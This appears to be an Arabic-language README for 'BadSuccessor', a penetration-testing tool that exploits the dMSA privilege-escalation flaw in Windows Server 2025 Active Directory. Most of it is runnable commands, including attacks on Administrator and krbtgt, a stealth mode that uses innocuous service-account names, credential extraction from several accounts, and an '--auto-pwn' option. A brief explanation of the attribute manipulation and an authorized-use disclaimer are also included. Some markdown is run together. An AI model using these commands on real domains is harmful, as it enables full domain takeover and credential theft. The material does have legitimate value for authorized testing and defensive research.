
يستغل ثغرة تصعيد الامتيازات dMSA في Windows Server 2025 لتعداد وحدات التنظيم (OUs) القابلة للكتابة، وتصعيد الصلاحيات إلى مستخدمي النطاق العشوائيين، واستخراج بيانات الاعتماد، وتمكين السيطرة الكاملة على النطاق في تقييمات أمنية مرخصة لـ Active Directory.
أداة اختبار اختراق تستغل ثغرة تصعيد الامتيازات في ميزة dMSA (حساب الخدمة المُدار المفوض) في بيئات Active Directory لخادم Windows Server 2025.
هذه الأداة مخصصة لاختبار الاختراق المصرح به وأغراض البحث الأمني فقط. استخدام هذه الأداة ضد أنظمة دون إذن كتابي صريح هو أمر غير قانوني وغير أخلاقي. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
هام: هذه الأداة قيد التطوير والاختبار النشط.
نشجع المجتمع الأمني على:
باستخدامك لهذه الأداة، فإنك تقر بأنها قيد التطوير النشط وقد تتطلب تعديلات لبيئتك المحددة.
تستغل BadSuccessor ثغرة تصعيد الامتيازات في ميزة حساب الخدمة المُدار المفوض (dMSA) في Windows Server 2025. تسمح الثغرة للمهاجمين ذوي الصلاحيات الدنيا بتصعيد الامتيازات إلى أي مستخدم في المجال، بما في ذلك مسؤولو المجال.
تستند هذه الأداة إلى البحث الممتاز الذي أجراه Yuval Gordon من Akamai Technologies:
تكمن الثغرة في عملية ترحيل dMSA حيث:
msDS-ManagedAccountPrecededByLink أو ms-DS-Managed-Account-Preceded-By-Link ليشير إلى مستخدم مستهدفmsDS-DelegatedMSAState أو ms-DS-Delegated-MSA-State على 2 (اكتمل الترحيل)بالإضافة إلى ذلك، يحتوي هيكل KERB-DMSA-KEY-PACKAGE على مفاتيح كلمة مرور المستخدم المستهدف، مما يتيح استخراج بيانات الاعتماد.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**ملاحظة**: تم اختبار الأداة مع impacket 0.12.0. يتم عرض تحذيرات توافق الإصدارات في وقت التشغيل.
### التبعيات الاختيارية```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### أمثلة البداية السريعة
#### 1. وضع التشغيل التجريبي (جديد) - الاختبار بدون إجراء تغييرات```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. تنفيذ الهجوم```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. إدارة الجلسات (جديد)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### خيارات سطر الأوامر
#### وسائط المصادقة
| الخيار | الوصف |
|--------|-------------|
| `-d, --domain` | النطاق المستهدف (مثال: corp.local) **[مطلوب]** |
| `-u, --username` | اسم المستخدم للمصادقة **[مطلوب]** |
| `-p, --password` | كلمة المرور للمصادقة |
| `--dc-ip` | عنوان IP لوحدة تحكم النطاق (اكتشاف تلقائي إذا تم حذفه) |
| `--ldaps` | فرض اتصال LDAPS (SSL) على المنفذ 636 |